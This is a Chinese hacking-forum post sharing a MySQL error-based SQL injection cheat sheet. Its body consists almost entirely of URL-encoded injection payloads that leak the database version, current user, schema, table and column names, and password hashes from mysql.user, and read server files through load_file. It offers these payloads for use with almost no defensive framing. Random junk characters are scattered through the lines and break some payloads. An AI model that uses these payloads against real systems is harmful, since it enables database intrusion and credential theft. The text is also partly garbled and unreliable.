找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2383|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
, J9 u" Y  A2 D7 |) o# l( O3 p$ P- g1 ]& b) q' c
# C" ~( m1 z+ c  M  p: X9 I
Mysql暴错注入参考(pdf),每天一贴。。。3 m3 R( \  e. ?# T' b7 k8 Y
& r& o6 N8 w: l( U( \0 V
MySql Error Based Injection Reference4 v$ e* w& e/ J3 f
[Mysql暴错注入参考]
/ z- k0 g7 p9 E) ~3 TAuthornig0s1992
: d& c$ y8 |, OBlog:http://pnig0s1992.blog.51cto.com/
1 C: _6 A: d5 S5 `: }% ~TeAm:http://www.FreeBuf.com/! h- H$ Q1 F* p+ t6 h$ Y: O2 {7 R
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
" [" V0 h& U. g/ p  r4 O/ s小部分版本使用name_const()时会报错.可以用给出的Method.2测试3 c- k! X& l- I. j3 ]+ f0 C
查询版本:
/ \# j! v( _  ?+ g7 B$ j1 zMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+( Q& x8 h2 E' i$ ^% ~
join+(select+name_const(@@version,0))b)c)9 h2 m5 r; u" B" A5 F: q/ }* u
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro5 n9 c+ q% l1 g# b3 o2 t/ I+ L
up by a)b)
4 n/ |! V  I3 Y9 e% M查询当前用户:/ S4 y/ m* f+ E7 _- X/ n4 A  a
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
5 j! A$ I, ~, N, H& PMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r' V1 N, s) {8 b" Q
and(0)*2))x+from+information_schema.tables+group+by+x)a)
- D8 y# s- }0 ~3 r. g$ @0 n查询当前数据库:8 u9 U% Q, K: I+ t- t
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) ~0 D. b7 w* Q' jMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
2 m5 q5 d; C$ v1 V7 X9 n% Z/ Qor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
0 e) y1 Z3 c" L% O# U# R! J依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
7 E6 M5 a4 u) Q: X' k5 n. z9 DLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n/ I. c" [2 y6 A& C" \4 M6 V9 J
顺序替换
+ J+ Y# W  Y1 E4 a) _爆指定库数目:
7 |$ C3 N* Q) D- D) A2 e# `& {and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
& B# {& S+ y, {# r. K. t( Iable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group2 L* Z. K) H5 K8 R! e2 T
+by+x)a)+and+1=1 0x6D7973716C=mysql# c& f( T9 z; l) \
依次爆表:7 q$ m3 }2 Z# c5 Z$ I8 q
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t& {" R2 H" k/ M
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta4 f% E: [* s8 r+ M) C
bles+group+by+x)a)+and+1=1+ d& Y: T7 U7 D" r# v
0x6D7973716C=Mysql 将n顺序替换1 M7 G2 [  N  K' s7 w( l/ v
爆表内字段数目:
. m3 T8 \+ o6 z2 N+ qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
3 l* Z" J) h. W+ b6 \+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran2 Y# X0 W3 Q  l% C( d7 ~
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
- i- N& S! Q' t: i依次爆字段:4 y# s1 D7 Y1 I5 M) m
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where6 I3 P' C4 n7 M( P. Y4 e
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
5 r* s& s8 I0 d/ q, B) |3 aloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
3 J$ [; }( S* a. L) k依次暴内容:! Y% m- l+ T7 _
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
7 K2 ]  m5 `) U; Xma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1- w0 E( o+ l! j' w( z, U
将n顺序替换
+ y! p8 m$ @" a1 A爆文件内容:
% P! H2 }7 R: a/ P+ S& E# ^and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a+ X( s: B1 v0 T# h% Q) c
from+information_schema.tables+group+by+a)b) 7 f& N* |" B8 |. q0 s
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
/ y& s: l- m4 P( jThx for reading.' i# H" r6 ?0 d1 B" h9 C; ~

8 Y3 e3 S) J5 I. t% k不要下载也可以, : V9 e) \  V: l* ~

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表